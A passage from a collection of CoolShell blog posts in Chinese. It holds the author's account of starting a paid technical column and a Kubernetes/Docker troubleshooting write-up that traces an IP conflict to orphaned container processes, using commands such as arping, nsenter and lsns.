[![Facebook全球关系网](../wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-150x150.png)](https://coolshell.cn/articles/3396.html)[Facebook全球关系网](https://coolshell.cn/articles/3396.html)\n* [![Go 语言简介（上）— 语法](../wp-content/uploads/2012/11/go2-150x150.jpg)](https://coolshell.cn/articles/8460.html)[Go 语言简介（上）— 语法](https://coolshell.cn/articles/8460.html)\nThe post [关于Facebook 的 React 专利许可证](https://coolshell.cn/articles/18140.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2018-1-2 关于我”极客时间“的专栏.md",
    "content": "---\nlayout: post\ntitle: 关于我”极客时间“的专栏\ndate: 2018/1/2/ 8:56:11\nupdated: 2018/1/2/ 8:56:11\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2018/01/geekbang-300x300.jpg)不少朋友都知道我在“[极客时间](https://time.geekbang.org/)”上开了一个收费专栏，这个专栏会开设大约一年的时间，一共会发布104篇文章。现在，我在上面以每周两篇文章的频率已发布了27篇文章了，也就是差不多两个半月的时间。新的一年开始了，写专栏这个事对我来说是第一次，在这个过程中有一些感想，所以，我想在这里说一下这些感受和一些相关的故事，算是一个记录，也算是对我专栏的正式介绍，还希望能得到、大家的喜欢和指点。（当然，CoolShell这边还是会持续更新的）\n\n\n#### 为什么要开设一个收费专栏\n\n\n首先，说一下，为什么要开这个收费专栏。\n\n\n老实说，我一开始根本就不想开收费专栏的，是的，完全不想！主要是有两个原因，一方面是我在创业中，我自然是没有太多的时间，另一方面是，我以前在《[为什么我不在微信公众号上写文章](https://coolshell.cn/articles/17391.html)》也说过，我觉得知识最好的方式是被检索、讨论、引用、整理、补充和更新。所以，收费这种模式，我感觉并不利于很好的传播。但是，我为什么还干了这么一件事？这事还得从2017年6月份开始说起。\n\n\n这个月，一共有三家技术社区来找我，都是希望我能去他们那边开收费专栏，其中一家就是“极客邦科技”。对于这三家来说，从一开始我就是以婉拒的姿态回应的。而“极客邦科技”来找我的时候和我说，一周写五篇，写一年，一共260篇。我当时心想，“去你的，当我啥呢，你们真以为技术文章好写啊”？然后，他们问我可以写多少，我说，我现在也就一个月一篇的节奏……\n\n\n\n然后，就开始了时间漫长的拉锯战。极客邦这边一直从6月份和我谈到9月份，完全就是不达目的不罢休的玩法，其间，每当我说一个问题，他们就会想出一个解，我这边不断地制造不能写下去的问题，他们就不断的给出相应的解。我其实是想让他们知难而退，另外，我也不确定这帮人对于这个事有多上心，因为写技术文章是需要非常认真的态度的，所以，我提出了很多比较苛刻的条件，甚至也很直白的直接拒绝，但是他们完全就跟没有听见似的，不断的想新的方法来让我”上床”（对！就是上床，不是上船）。\n\n\n* 我说，我最多一个月写2-3篇。他们和我说，我们看过了，你写的都是长文，都在5000字左右，一篇可以拆成上下篇，这样就有6篇左右了，然后，你每个月再来两篇文章，一篇是推荐一些资料或资源，一篇是回答读者的问题。这样就有8篇了，一周就可以发2篇了。\n\n\n* 我说，就算是这样，我也没有时间写，我现在创业中，事多得去了，完全没精力投入。然后，他们说，不用你写，我们来帮你写。你去客户那边，叫上我们，你到大会上做分享，叫上我们，你和别人分享，也叫让我们，我们全程录音，然后帮你你整理。然后每周末的时候来找你，和你聊上2个小时。我们把内容做出来，你再精编一下就好了。而且，我们也会帮你分担创业的精力的，我们极客邦/QCon/ArchSummit会帮你的产品做推广、做市场和BD客户……\n\n\n* 我说，就算是这样，我也没时间。他们说，我们还会给你配个编辑，一个不够就配两个，他们会帮你上网查资料，他们都是计算机专业的，一定是懂技术的。不会让你一个人写的。专栏这种事一定是会需要一个小的编辑团队的。\n\n\n他们还甚至在晚上10点左右跑到我家门口来和我谈。这还没完，我继续刁难他们……\n\n\n* 我说，技术文章相当专业，你们来试试看，于是，我给了一篇极其难读的英文论文，还有一篇技术细节非常晦涩的英文文章，我让他们不要翻译，而是读懂后理解完用自己的话，能够让一般人读懂的话写一下。这两篇文章，就算是对于有多年经验的程序员来说，也是很难读的。结果他们一周后，就搞好了，我读了一下，不算特别好，但是对于他们来说，已经很不错了。\n\n\n* 我又说，我的文章中会有好些代码，有数学公式，在手机上怎么排版？阅读体验不行吧。你们还要做音频，我的文章中如果有代码，有图片，有数据公式，你让音频时怎么读？这不行吧。他们说，数学公式可以用LaTeX搞，代码排版会努力排好，同时也提供网页端的浏览。音频会这样搞，会让编辑把代码、数学公式、图片理解完后用别外的话说出来。也就是说，文章要有两个版本，一个是阅读的版本，一个是给音频师的版本。\n\n\n就这样，这几个月的过程中，我心里面有了一些不一样的感觉。\n\n\n* 一方面，我觉得这种“不达目的不罢休”的做法让我欣赏。因为我也在创业，创业的过程中有很多难题，也会遇到很多困难和艰辛。而极客邦他们这样的作法我是非常认可，也是非常佩服的，因为，要是换作我，我可能早放弃去寻找其它人了。但是他们没有，他们一直不断地在穷尽一切方法来说服我写专栏。能这样做的人，我觉得这个社会上少之又少，绝大多数人都是畏难和容易退缩的，所以，感觉可以深入交往和合作。\n\n\n* 另外一方面，在整个过程中，我问他们，为什么你们要把这个事做得这么“重”？为什么不做得“轻”一点呢？还要录音频，音频对于技术型的文章里面有一堆坑啊，对于技术文章还有很多无法翻译的英文单词，在计算机的世界里，好多英文单词都是造出来的，音频师怎么读？(后来的确也是这样，我的音频师就把J2EE读成了“J二EE”)，他们的编辑也不知道怎么读，就上Youtube上找相关视频看老外是怎么发音的，然后标注好。而且，我的文章有时候写得太快，经常会有一些小错误，文字好改，但是还要改语音。对于这些，我都觉得好重啊，结果他们说，就是要做个“重的”，就是要做一个别人达不到的标杆，让竞争对手望而却步！\n\n\n对于这两点，是让我很赞的。这样的做事精神和态度让我很佩服，是啊，在Amazon里也常说，要不断地提高标准。而且这让我深入思考了一下，一个事如果想要做好，做到极致，就算再简单的事，也会变成复杂，**这个世界上可能并不存在“轻模式”，只要你想做好，再“轻”的事都会变“重”**。他们的这些做法，让我有了一种同道中人的感觉，人总是会向比自己强的人或是跟自己比较像的人靠近的。我感觉我在创业路上，就是要和这样的人在一起，面对再难的事，都要想尽一切办法解决之，面对再轻的事，都要花心思用重的模式去做好。\n\n\n而其它两个来找我做同样的事的公司，却没有让我看到他们有这样把事做成的不服输的决心和态度，真是形成了强烈的反差和对比。\n\n\n于是，我就这样“从”了！这里要点名一下极客邦的两个人——我叫他们作“双蕾”：**司巧蕾** 和 **郭蕾**。（池大大也为极客时间付出了好多，因为大家都认识他了，我就弱化他一下了，嘿嘿）\n\n\n#### 这个专栏主要会写什么样的内容\n\n\n这是一个收费专栏，一旦收费了，我的压力也大了，因为你要写的内容就一定要能达到可以收费的价值了，不以再像个人博客一样，想写什么就什么。好在我从2003年开始我就在给好多企业做一些商业化的讲座和培训，也给一些公司做过一些商业的咨询和技术方案，包括在过去两年内帮助过一些公司打单。另外，在过去的10年内，我也在技术、职业和成长上帮助过很多年轻人。这些内容，我都没有完整或是具体地写在CoolShell中，所以，我觉得这些内容是可以放在这个收费专栏的。\n\n\n此外，我在CoolShell上的文章都是不系统的，是碎片式的，还有一些只是知识，还不是认识。而我过去成长的20年，我的经验和知识已经在某些方面形成了比较完整的体系，而且有一些技术也能看到本质上的东西。所以，我觉得这些东西是可以呈现在这个专栏内的，都是非常有商业价值的，一定是可以帮助到大家的。当然，其中的一些东西，不是初级入门的程序员能够看懂的，需要有一定的工作经验和基础知识。\n\n\n而在我入行的这20年来，我觉得对于一个企业，一个团队，一个个体的程序员来说，有三件事是密不可分，也是相辅相成的，这三件事就是：技术、发展和管理。每个人，每个团队，每个企业，都需要认真地面对技术，不断地挑战新的技术，并且还要非常认真地发展个人和团队，而这些都需要对自我的管理或是对团队和公司的管理才能更高效的达成。\n\n\n所以，我的专栏会由这三部份构成:\n\n\n* **技术**。对于技术方面，我不会写太多关于知识点的东西，因为这些知识点大家可以自行Google可以RTFM。我要写就一定是以体系化的，而且要能直达技术的本质。我入行这20年来，我最擅长的是针对各种大规模的系统，所以，我会有2-3个和分布式系统相关的系列文章，然后，我学过也用过好多编程语言，所以，我也会有一系列的关于编程本质的文章，而我对一些基础知识研究的也比较多，所以，还会有一系列的和基础知识相关的文章。当然，其中还会穿插一些其它的技术文章，比如一些热点事件，还有一些经验之谈，包括，我会把我的《[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)》在这个专栏里重新再写一遍。这些东西一定会让大家有醍醐灌顶的感觉。\n\n\n* **成长**。在过去这20年中，我感觉得到，很多人都会非常在意自己的成长。所以，我会分享一堆我亲身经历的，也是我自己实验的一定和个人发展相关的文章。比如，像技术变现啊、如何面试、如何选择新的技术、如何学习、如何管理自己的时间、如何管理自己的老板和工作、如何成为一个Leader……这些东西一定会对大家有用。但是，我这里一定不会有速成的东西。一切都是要花时间和精力的。如果你想要速成，你不应该来订阅我的专栏。\n\n\n* **管理**。这20年，我觉得做好技术工作，得做好技术的管理工作，只有管理好了软件工程和技术团队，技术才能发挥出最大的潜力。大多数的技术都是管理上的问题。所以，我会写上一系列的和管理相关的文章，管理三个要素，团队、项目和管理者自己。所以，我会从这三个方面写一系列包括，人员招聘、绩效考核、提升士气、解决冲突、面对变化、沟通说服、项目管理、任何排期、会议、远程管理……等等一系列的文章。这些东西都是我在外企时，接受到的世界顶级管理培训机构培训内容，我会把我的实践写出来分享给大家。这其中一定少不了亚马逊相关的各种实践。这些东西，我和很多公司和大佬都讲过，到目前为止还没有人不赞的。\n\n\n现在，我这个专栏写了快三个月了，第一部分和第二部分已经有一些呈现了。我周末和假期的时间也完全都搭进去了 ;-)。后面的文章还在和我的编辑一起在整理和书写中，我感觉这个专栏只收199一年简直是太便宜了，我有点想涨价的冲动了。哈哈。\n\n\n#### 幕后团队\n\n\n最后说一下我的专栏编辑——她叫杨爽！以前是CSDN的程序员杂志的编辑，后来去了七牛，现在和我一起做我的这个专栏。她对我的这个专栏上的投入非常大，除了帮助我编辑文章，还要帮音频师标注语气，英文发音，以及音频版的文章，还要深度参与写作，**有的文章我只给了一个大纲，甚至只是一个方向，或是一系列的素材，然后都是她来操刀的，比如“推荐阅读”的文章、还有技术领导力的下篇，基本上是由杨爽来出第一版，然后我再上面再做修改和补充**。她说，写技术文章真是太累了，尤其是帮你编辑你的分布式系列的文章，我基本都把这些技术都看了个大概了。我调侃到，如果你完全搞懂了，你就不用做编辑了，你可以做技术去了，嗯，而且，可以变成架构师了。\n\n\n另外，她会深度的编辑我的文章，尤其是每篇文章最后的一些总结或是一些问题都是她写的。在我的一篇答疑的文章中，她自己加入了一个观点——“很多事情能做到什么程度，其实在思想的源头就被决定了，因为它会绝大程度地受到思考问题出发点、思维方式、格局观、价值观等因素的影响”，这个观点被读者当成是我的观点，其实，这是杨爽的观点，当然我也很同意。\n\n\n所以，我的这个专栏离不开杨爽的付出，我和她一般都是在晚上或是周末沟通，因为平时我的时候都被创业的事给占据了。所以，她也只能适配我的时间，但她真的很努力，我能感觉得到她想把文章的质量不断提高的迫切。\n\n\n关于专栏的音频师，他叫柴巍，是天津广播电台的主持人，一个89年的小伙子，网上他的[个人信息在这里](http://www.radiotj.com/zcrdd/system/2014/04/16/000472670.shtml)。他跨界来读这些技术文章的确对他来说非常不容易，因为一方面这文章里讲的这些东西他都看不懂，另外，他也不认识我，我脾气和性格他不知道，所以，他读我的文章里，并不能完全准确地把握相关的语气。这就需要杨爽来帮他标注和调整，有些地方，不断地修改，不断地录，大家知道，录音和写文章不一样，文章要修改很简单，语音要修改就非常麻烦，得把上下文全都一并重新再读一篇，这个过程的确难，杨爽在其中也花费了大量的时间和这个小伙子沟通和调整。\n\n\n在一开始，有播音腔，也被读者吐槽了，他自己后来一直在调整，目前越来越符合咱们的要求。这个小哥是非常努力和有挑战精神的，他在这个过程中，也是非常信守承诺的。去年12月6日，录分布式系统冰与火那篇文章时，他上午有自己的工作，下午要开会，晚上又有单位活动，他还是活动的主持人，他实在是没有时间了。我也和我的编辑说，算了，先发文章，后面再补音频。但是他还是挤时间把音频录出来了，期间，我还不知情地又修改了一下文章，他又配合修改，直到完全改好。打车去参加活动，还好提前20分钟赶到，没有耽误主持活动。\n\n\n唠唠叨叨写这么多，也没什么干货！算是一份记录吧。也希望大家能够从我的专栏中看到这个团队的确是在用心做事的，是的，能认识这些人，还能一起合作，在我的人生经历上是非常有价值的事了。\n\n\n希望大家在新的一年里也能遇到这样的人。我们一起加油！\n\n\n![](../wp-content/uploads/2017/12/ride_or_die.jpg)\n\n\n图片来自：电影《速度与激情》——Ride or Die\n\n\n \n\n\n（全文完）\n\n\n \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/559.html)[菜鸟学PHP之Smarty入门](https://coolshell.cn/articles/559.html)\n* [![十个免费的Web压力测试工具](../wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg)](https://coolshell.cn/articles/2589.html)[十个免费的Web压力测试工具](https://coolshell.cn/articles/2589.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/2439.html)[黑客的价值观](https://coolshell.cn/articles/2439.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/8031.html)[InfoQ的ArchSummit大会对我的采访](https://coolshell.cn/articles/8031.html)\n* [![50年前的登月程序和程序员有多硬核](../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg)](https://coolshell.cn/articles/19612.html)[50年前的登月程序和程序员有多硬核](https://coolshell.cn/articles/19612.html)\nThe post [关于我”极客时间“的专栏](https://coolshell.cn/articles/18246.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2018-12-8 记一次Kubernetes_Docker网络排障.md",
    "content": "---\nlayout: post\ntitle: 记一次Kubernetes/Docker网络排障\ndate: 2018/12/8/ 3:57:35\nupdated: 2018/12/8/ 3:57:35\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2018/12/docker-networking-1.png)昨天周五晚上，临下班的时候，用户给我们报了一个比较怪异的Kubernetes集群下的网络不能正常访问的问题，让我们帮助查看一下，我们从下午5点半左右一直跟进到晚上十点左右，在远程不能访问用户机器只能远程遥控用户的情况找到了的问题。这个问题比较有意思，我个人觉得其中的调查用到的的命令以及排障的一些方法可以分享一下，所以写下了这篇文章。\n\n\n#### 问题的症状\n\n\n用户直接在微信里说，他们发现在Kuberbnetes下的某个pod被重启了几百次甚至上千次，于是开启调查这个pod，发现上面的服务时而能够访问，时而不能访问，也就是有一定概率不能访问，不知道是什么原因。而且并不是所有的pod出问题，而只是特定的一两个pod出了网络访问的问题。用户说这个pod运行着Java程序，为了排除是Java的问题，用户用 `docker exec -it` 命令直接到容器内启了一个 Python的 SimpleHttpServer来测试发现也是一样的问题。\n\n\n我们大概知道用户的集群是这样的版本，Kuberbnetes 是1.7，网络用的是flannel的gw模式，Docker版本未知，操作系统CentOS 7.4，直接在物理机上跑docker，物理的配置很高，512GB内存，若干CPU核，上面运行着几百个Docker容器。\n\n\n\n#### 问题的排查\n\n\n##### 问题初查\n\n\n首先，我们排除了flannel的问题，因为整个集群的网络通信都正常，只有特定的某一两个pod有问题。而用 `telnet ip port` 的命令手工测试网络连接时有很大的概率出现 `connection refused` 错误，大约 1/4的概率，而3/4的情况下是可以正常连接的。\n\n\n当时，我们让用户抓个包看看，然后，用户抓到了有问题的TCP连接是收到了 `SYN` 后，立即返回了 `RST, ACK`\n\n\n![](../wp-content/uploads/2018/12/tcpdump.png)\n\n\n我问一下用户这两个IP所在的位置，知道了，`10.233.14.129` 是 `docker0`，`10.233.14.145` 是容器内的IP。所以，这基本上可以排除了所有和kubernets或是flannel的问题，这就是本地的Docker上的网络的问题。\n\n\n对于这样被直接 Reset 的情况，在 `telnet` 上会显示 `connection refused` 的错误信息，对于我个人的经验，这种 `SYN`完直接返回 `RST, ACK`的情况只会有三种情况：\n\n\n1. TCP链接不能建立，不能建立连接的原因基本上是标识一条TCP链接的那五元组不能完成，绝大多数情况都是服务端没有相关的端口号。\n2. TCP链接建错误，有可能是因为修改了一些TCP参数，尤其是那些默认是关闭的参数，因为这些参数会导致TCP协议不完整。\n3. 有防火墙iptables的设置，其中有 `REJECT` 规则。\n\n\n因为当时还在开车，在等红灯的时候，我感觉到有点像 NAT 的网络中服务端开启了 `tcp_tw_recycle` 和 `tcp_tw_reuse` 的症况（详细参看《[TCP的那些事（上）](https://coolshell.cn/articles/11564.html)》），所以，让用户查看了一上TCP参数，发现用户一个TCP的参数都没有改，全是默认的，于是我们排除了TCP参数的问题。\n\n\n然后，我也不觉得容器内还会设置上iptables，而且如果有那就是100%的问题，不会时好时坏。所以，我怀疑容器内的端口号没有侦听上，但是马上又好了，这可能会是应用的问题。于是我让用户那边看一下，应用的日志，并用 `kublet describe`看一下运行的情况，并把宿主机的 iptables 看一下。\n\n\n然而，我们发现并没有任何的问题。这时，**我们失去了所有的调查线索，感觉不能继续下去了……**\n\n\n##### 重新梳理\n\n\n这个时候，回到家，大家吃完饭，和用户通了一个电话，把所有的细节再重新梳理了一遍，这个时候，用户提供了一个比较关键的信息—— “**抓包这个事，在 `docker0` 上可以抓到，然而到了容器内抓不到容器返回 `RST, ACK`** ” ！然而，根据我的知识，我知道在 `docker0` 和容器内的 `veth` 网卡上，中间再也没有什么网络设备了（参看《[Docker基础技术：LINUX NAMESPACE（下）](https://coolshell.cn/articles/17029.html)》）!\n\n\n于是这个事把我们逼到了最后一种情况 —— IP地址冲突了！\n\n\nLinux下看IP地址冲突还不是一件比较简单事的，而在用户的生产环境下没有办法安装一些其它的命令，所以只能用已有的命令，这个时候，我们发现用户的机器上有 `arping` 于是我们用这个命令来检测有没有冲突的IP地址。使用了下面的命令：\n\n\n\n```\n\n$ arping -D -I docker0 -c 2 10.233.14.145\n$ echo $?\n\n```\n\n根据文档，`-D` 参数是检测IP地址冲突模式，如果这个命令的退状态是 `0` 那么就有冲突。结果返回了 `1` 。而且，我们用 `arping` IP的时候，没有发现不同的mac地址。 **这个时候，似乎问题的线索又断了**。\n\n\n因为客户那边还在处理一些别的事情，所以，我们在时断时续的情况下工作，而还一些工作都需要用户完成，所以，进展有点缓慢，但是也给我们一些时间思考问题。\n\n\n##### 柳暗花明\n\n\n现在我们知道，IP冲突的可能性是非常大的，但是我们找不出来是和谁的IP冲突了。而且，我们知道只要把这台机器重启一下，问题一定就解决掉了，但是我们觉得这并不是解决问题的方式，因为重启机器可以暂时的解决掉到这个问题，而如果我们不知道这个问题怎么发生的，那么未来这个问题还会再来。而重启线上机器这个成本太高了。\n\n\n于是，我们的好奇心驱使我们继续调查。我让用户 `kubectl delete` 其中两个有问题的pod，因为本来就服务不断重启，所以，删掉也没有什么问题。删掉这两个pod后（一个是IP为 `10.233.14.145` 另一个是 `10.233.14.137`），我们发现，kubernetes在其它机器上重新启动了这两个服务的新的实例。然而，**在问题机器上，这两个IP地址居然还可以ping得通**。\n\n\n好了，IP地址冲突的问题可以确认了。因为`10.233.14.xxx` 这个网段是 docker 的，所以，这个IP地址一定是在这台机器上。所以，我们想看看所有的 network namespace 下的 veth 网卡上的IP。\n\n\n在这个事上，我们费了点时间，因为对相关的命令也 很熟悉，所以花了点时间Google，以及看相关的man。\n\n\n* 首先，我们到 `/var/run/netns`目录下查看系统的network namespace，发现什么也没有。\n* 然后，我们到 `/var/run/docker/netns` 目录下查看Docker的namespace，发现有好些。\n* 于是，我们用指定位置的方式查看Docker的network namespace里的IP地址\n\n\n这里要动用 `nsenter` 命令，这个命令可以进入到namespace里执行一些命令。比如\n\n\n\n```\n\n$ nsenter --net=/var/run/docker/netns/421bdb2accf1 ifconfig -a\n\n```\n\n上述的命令，到 `var/run/docker/netns/421bdb2accf1` 这个network namespace里执行了 `ifconfig -a` 命令。于是我们可以用下面 命令来遍历所有的network namespace。\n\n\n\n```\n\n$ ls /var/run/docker/netns | xargs -I {} nsenter --net=/var/run/docker/netns/{} ip addr \n\n```\n\n然后，我们发现了比较诡异的事情。\n\n\n* `10.233.14.145` 我们查到了这个IP，说明，docker的namespace下还有这个IP。\n* `10.233.14.137`，这个IP没有在docker的network namespace下查到。\n\n\n有namespace leaking？于是我上网查了一下，发现了一个docker的bug – 在docker remove/stop 一个容器的时候，没有清除相应的network namespace，这个问题被报告到了 [Issue#31597](https://github.com/moby/moby/issues/31597) 然后被fix在了 [PR#31996](https://github.com/moby/moby/pull/31996)，并Merge到了 Docker的 17.05版中。而用户的版本是 17.09，应该包含了这个fix。不应该是这个问题，感觉又走不下去了。\n\n\n不过， `10.233.14.137` 这个IP可以ping得通，说明这个IP一定被绑在某个网卡，而且被隐藏到了某个network namespace下。\n\n\n到这里，要查看所有network namespace，只有最后一条路了，那就是到 `/proc/` 目录下，把所有的pid下的 `/proc/<pid>/ns` 目录给穷举出来。好在这里有一个比较方便的命令可以干这个事 ： `lsns`\n\n\n于是我写下了如下的命令：\n\n\n\n```\n\n$ lsns -t net | awk ‘{print $4}' | xargs -t -I {} nsenter -t {}&nbsp;-n ip addr | grep -C 4 \"10.233.14.137\"\n\n```\n\n解释一下。\n\n\n* `lsns -t net` 列出所有开了network namespace的进程，其第4列是进程PID\n* 把所有开过network namespace的进程PID拿出来，转给 `xargs` 命令\n* 由 `xargs` 命令把这些PID 依次传给 `nsenter` 命令，\n\t+ `xargs -t` 的意思是会把相关的执行命令打出来，这样我知道是那个PID。\n\t+ `xargs -I {}`  是声明一个占位符来替换相关的PID\n\n\n最后，我们发现，虽然在 `/var/run/docker/netns` 下没有找到 `10.233.14.137` ，但是在 `lsns` 中找到了三个进程，他们都用了`10.233.14.137` 这个IP（冲突了这么多），**而且他们的MAC地址全是一样的！**（怪不得arping找不到）。通过`ps` 命令，可以查到这三个进程，有两个是java的，还有一个是`/pause` （这个应该是kubernetes的沙盒）。\n\n\n我们继续乘胜追击，穷追猛打，用`pstree`命令把整个进程树打出来。发现上述的三个进程的父进程都在多个同样叫 `docker-contiane` 的进程下！\n\n\n**这明显还是docker的，但是在`docker ps` 中却找不道相应的容器，什么鬼！快崩溃了……**\n\n\n继续看进程树，发现，这些 `docker-contiane` 的进程的父进程不在 `dockerd` 下面，而是在 `systemd` 这个超级父进程PID 1下，我靠！进而发现了一堆这样的野进程（这种野进程或是僵尸进程对系统是有害的，至少也是会让系统进入亚健康的状态，因为他们还在占着资源）。\n\n\n`docker-contiane` 应该是 `dockerd` 的子进程，被挂到了 `pid 1` 只有一个原因，那就是父进程“飞”掉了，只能找 pid 1 当养父。这说明，这台机器上出现了比较严重的 `dockerd` 进程退出的问题，而且是非常规的，因为 `systemd` 之所以要成为 pid 1，其就是要监管所有进程的子子孙孙，居然也没有管理好，说明是个非常规的问题。（注，关于 systemd，请参看《[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html) 》，关于父子进程的事，请参看《Unix高级环境编程》一书）\n\n\n接下来就要看看 `systemd` 为 `dockerd` 记录的日志了…… （然而日志只有3天的了，这3天`dockerd`没有任何异常）\n\n\n#### 总结\n\n\n通过这个调查，可以总结一下，\n\n\n1） 对于问题调查，需要比较扎实的基础知识，知道问题的成因和范围。\n\n\n2）如果走不下去了，要重新梳理一下，回头仔细看一下一些蛛丝马迹，认真推敲每一个细节。\n\n\n3） 各种诊断工具要比较熟悉，这会让你事半功倍。\n\n\n4）系统维护和做清洁比较类似，需要经常看看系统中是否有一些僵尸进程或是一些垃圾东西，这些东西要及时清理掉。\n\n\n最后，多说一下，很多人都说，**Docker适合放在物理机内运行，这并不完全对，因为他们只考虑到了性能成本，没有考虑到运维成本，在这样512GB中启动几百个容器的玩法，其实并不好，因为这本质上是个大单体，因为你一理要重启某些关键进程或是机器，你的影响面是巨大的**。\n\n\n \n\n\n———————— 更新 2018/12/10 —————————\n\n\n#### 问题原因\n\n\n这两天在自己的环境下测试了一下，发现，只要是通过 `systemctl start/stop docker` 这样的命令来启停 Docker， 是可以把所有的进程和资源全部干掉的。这个是没有什么问题的。我唯一能重现用户问题的的操作就是直接 `kill -9 <dockerd pid>` 但是这个事用户应该不会干。而 Docker 如果有 crash 事件时，Systemd 是可以通过 `journalctl -u docker` 这样的命令查看相关的系统日志的。\n\n\n于是，我找用户了解一下他们在Docker在启停时的问题，用户说，**他们的执行 `systemctl stop docker` 这个命令的时候，发现这个命令不响应了，有可能就直接按了 `Ctrl +C` 了**！\n\n\n这个应该就是导致大量的 `docker-containe` 进程挂到 `PID 1` 下的原因了。前面说过，用户的一台物理机上运行着上百个容器，所以，那个进程树也是非常庞大的，我想，停服的时候，系统一定是要遍历所有的docker子进程来一个一个发退出信号的，这个过程可能会非常的长。导致操作员以为命令假死，而直接按了 `Ctrl + C` ，最后导致很多容器进程并没有终止……\n\n\n \n\n\n#### 其它事宜\n\n\n有同学问，为什么我在这个文章里写的是 `docker-containe` 而不是 `containd` 进程？这是因为被 `pstree` 给截断了，用 `ps` 命令可以看全，只是进程名的名字有一个 `docker-`的前缀。\n\n\n下面是这两种不同安装包的进程树的差别（其中 `sleep` 是我用 `buybox` 镜像启动的）\n\n\n\n```\n\nsystemd───dockerd─┬─docker-contained─┬─3*[docker-contained-shim─┬─sleep]\n                  │                 │                    └─9*[{docker-containe}]]\n                  │                 ├─docker-contained-shim─┬─sleep\n                  │                 │                 └─10*[{docker-containe}]\n                  │                 └─14*[{docker-contained-shim}]\n                  └─17*[{dockerd}]\n\n```\n\n\n```\n\nsystemd───dockerd─┬─containerd─┬─3*[containerd-shim─┬─sleep]\n                  │            │                 └─9*[{containerd-shim}]\n                  │            ├─2*[containerd-shim─┬─sleep]\n                  │            │                    └─9*[{containerd-shim}]]\n                  │            └─11*[{containerd}]\n                  └─10*[{dockerd}]\n\n\n```\n\n顺便说一下，自从 Docker 1.11版以后，Docker进程组模型就改成上面这个样子了.\n\n\n* `dockerd` 是 Docker Engine守护进程，直接面向操作用户。`dockerd` 启动时会启动 `containerd` 子进程，他们之前通过RPC进行通信。\n* `containerd` 是`dockerd`和`runc`之间的一个中间交流组件。他与 `dockerd` 的解耦是为了让Docker变得更为的中立，而支持OCI 的标准 。\n* `containerd-shim`  是用来真正运行的容器的，每启动一个容器都会起一个新的shim进程， 它主要通过指定的三个参数：容器id，boundle目录（containerd的对应某个容器生成的目录，一般位于：`/var/run/docker/libcontainerd/containerID`）， 和运行命令（默认为 `runc`）来创建一个容器。\n* `docker-proxy` 你有可能还会在新版本的Docker中见到这个进程，这个进程是用户级的代理路由。只要你用 `ps -elf` 这样的命令把其命令行打出来，你就可以看到其就是做端口映射的。如果你不想要这个代理的话，你可以在 `dockerd` 启动命令行参数上加上：  `--userland-proxy=false` 这个参数。\n\n\n更多的细节，大家可以自行Google。这里推荐两篇文章：\n\n\n* [Docker, Containerd & Standalone Runtimes — Here’s What You Should Know](https://hackernoon.com/docker-containerd-standalone-runtimes-heres-what-you-should-know-b834ef155426)\n* [Docker components explained](http://alexander.holbreich.org/docker-components-explained/)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![Docker基础技术：DeviceMapper](../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg)](https://coolshell.cn/articles/17200.html)[Docker基础技术：DeviceMapper](https://coolshell.cn/articles/17200.html)\n* [![Docker基础技术：AUFS](../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png)](https://coolshell.cn/articles/17061.html)[Docker基础技术：AUFS](https://coolshell.cn/articles/17061.html)\n* [![Docker基础技术：Linux CGroup](../wp-content/uploads/2015/04/filter-150x150.png)](https://coolshell.cn/articles/17049.html)[Docker基础技术：Linux CGroup](https://coolshell.cn/articles/17049.html)\n* [![Docker基础技术：Linux Namespace（上）](../wp-content/uploads/2015/04/isolation-150x150.jpg)](https://coolshell.cn/articles/17010.html)[Docker基础技术：Linux Namespace（上）](https://coolshell.cn/articles/17010.html)\n* [![Docker基础技术：Linux Namespace（下）](../wp-content/uploads/2015/04/jail_cell-150x150.jpg)](https://coolshell.cn/articles/17029.html)[Docker基础技术：Linux Namespace（下）](https://coolshell.cn/articles/17029.html)\nThe post [记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2018-5-29 程序员练级攻略（2018)  与我的专栏.md",
